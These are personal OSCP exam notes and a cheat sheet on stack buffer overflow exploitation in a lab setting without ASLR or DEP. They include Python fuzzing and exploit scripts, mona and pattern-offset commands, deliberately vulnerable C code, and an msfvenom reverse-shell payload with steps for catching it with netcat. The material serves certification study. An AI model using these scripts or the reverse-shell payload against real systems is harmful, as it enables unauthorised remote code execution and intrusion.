OSCP notes dump: #EXPLOIT-BUF
This time it's all about stack-based buffer overflow exploitation without any protection mechanisms like ASLR or DEP in place. Note that this methodology dates back to the old version of the OSCP certification.
Buffer Overflow General methology mindmap:
https://twitter.com/avasdream_/status/1317453876652630018/photo/2
Hints:
Bad characters can interrupt even when they're part of the buffer
Double check jmp addresses like JMP ESP JMP EXC
1. find offset to EIP
manual approrach
3. pattern create
msf-pattern_create // use exact byte length to reach EIP
5. pattern offset
msf-pattern_offset
7. search for bad chars
!mona compare ...
9. create shellcode with badchars excluded
11. find place for shellcode
EDX/ECX/ESP?
13. drop NOPsled
15. drop shellcode
16. jmp to shellcode
Use mona find for searching JMP/CALL Instructions
misc notes
# pattern create
msf-pattern_create -l 800
# calculate offset
msf-pattern_offset -l <byte-size from pattern_create> -q <value of EIP when app crashes>
# for example: msf-pattern_offset -l 800 -q 42306142
# top bad chars
0x00-0xff all possible characters
0x0D - end of a http field
0x00 - string termination in lower lvl languages /NULL
0x0A - Line Feed \n
0x0D - Carriage Return \r
0xFF - Form Feed \f
# badchars -f python // create python array of badchars
# logical example
# we know that we need 780 bytes to reach the EIP but not to overwrite it. we want to overflow the buffer with in total 1500 bytes
# the IP is overwritten with 4x 0x42 (B)
# the offset is the space between the overwritten EIP and the beginning of the ESP
filler = “A" * 780
eip = “B” *4
offset = “C” * 4
buffer = “D” * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + buffer
# nasm shell for getting opcode
msf-nasm_shell
nasm > jmp esp
00000000 FFE4
jmp esp
nasm >
add eax, 12
immunity debugger mona module
# immunity debugger mona module
!mona modules // shows active dlls - just ensure the address range doesn't include bad chars and sec options are disabled if searching for a matching dll
!mona find -s “\xff\xe4” -m “libspp.dll”
!mona jmp -r ESP
!mona bytearray
!mona compare -f bytearray.bin -a 03E8FF80
ASLR check
#include <stdio.h>
void main() {
register int i asm("esp");
printf("$esp = %#010x\n", i);
}
vulnerable C code for testing
vuln.c
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
char buffer[100];
strcpy(buffer, argv[1]);
printf("Done!\n");
}
gcc -m32 -g -fno-stack-protector -z execstack -o bo1 bo1.c
CHEAT SHEET
(based on tryhackme.com buffer overflow room)
- define working directory for mona
!mona config -set workingfolder c:\mona\%p
2. use python script to fuzz
import socket, time, sys
ip = "10.10.36.41"
port = 1337
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
3. use python script to determine offset
# make it 400bytes longer then the script that crashed the server
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
import socket
ip = "10.10.10.10"
port = 1337
prefix = "OVERFLOWX "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending bad buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
# find offset with mona
!mona findmsp -distance 600
#search for the following pattern: EIP contains normal pattern : ... (offset XXXX)
following:
- update exploit.py - set the offset to this value (was previously set to 0).
- set the payload variable to an empty string again.
- set the retn variable to "BBBB".
- trigger the exploit again to verify EIP gets overwritten with “BBBB” “42424242”
4. finding bad characters
generate byte array withouth the string terminator x00
!mona bytearray -b "\x00"
# stored under C:\mona\oscp\bytearray.bin
generate a string of bad chars that is identical to the bytearray. (\x01 to \xff)
from __future__ import print_function
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
- update your exploit.py script and set the payload variable to the string of bad chars the script generates.
- restart oscp.exe in Immunity and run the modified exploit.py script again.
- make a note of the address to which the ESP register points and use it in the following mona command:
!mona compare -f C:\mona\oscp\bytearray.bin -a <address>
- a popup window should appear labelled "mona Memory comparison results". If not, use the Window menu to switch to it.
- the window shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file.
- not all of these might be badchars. !Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string!
- the first badchar in the list is the null byte (\x00) since we already removed it from the file. Make a note of any others. Generate a new bytearray in mona, specifying these new badchars along with \x00.
- then update the payload variable in your exploit.py script and remove the new badchars as well.
- restart oscp.exe in Immunity and run the modified exploit.py script again. Repeat the badchar comparison until the results status returns "unmodified". This indicates that no more badchars exist.
5. finding a jump point
- with the oscp.exe either running or in a crashed state, run the following mona command, making sure to update the -cpb option with all the badchars you identified (including \x00):
!mona jmp -r esp -cpb "\x00"
- this command finds all "jmp esp" (or equivalent) instructions with addresses that don't contain any of the badchars specified.
- the results should display in the "Log data" window (use the Window menu to switch to it if needed).
- choose an address and update your exploit.py script, setting the "retn" variable to the address, written backwards (since the system is little endian).
- for example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit.
6. generate payload
- run the following msfvenom command on Kali, using your Kali VPN IP as the LHOST and updating the -b option with all the badchars you identified (including \x00):
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f py
- copy the generated python code and integrate it into your exploit.py script, e.g. by setting the payload variable equal to the buf variable from the code.
7. prepend NOPs
- since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself.
- you can do this by setting the padding variable to a string of 16 or more "No Operation" (\x90) bytes:
padding = "\x90" * 16
8. exploit
- with the correct prefix, offset, return address, padding, and payload set, you can now exploit the buffer overflow to get a reverse shell.
- start a netcat listener on your Kali box using the LPORT you specified in the msfvenom command (4444 if you didn't change it).
- restart oscp.exe in Immunity and run the modified exploit.py script again. Your netcat listener should catch a reverse shell!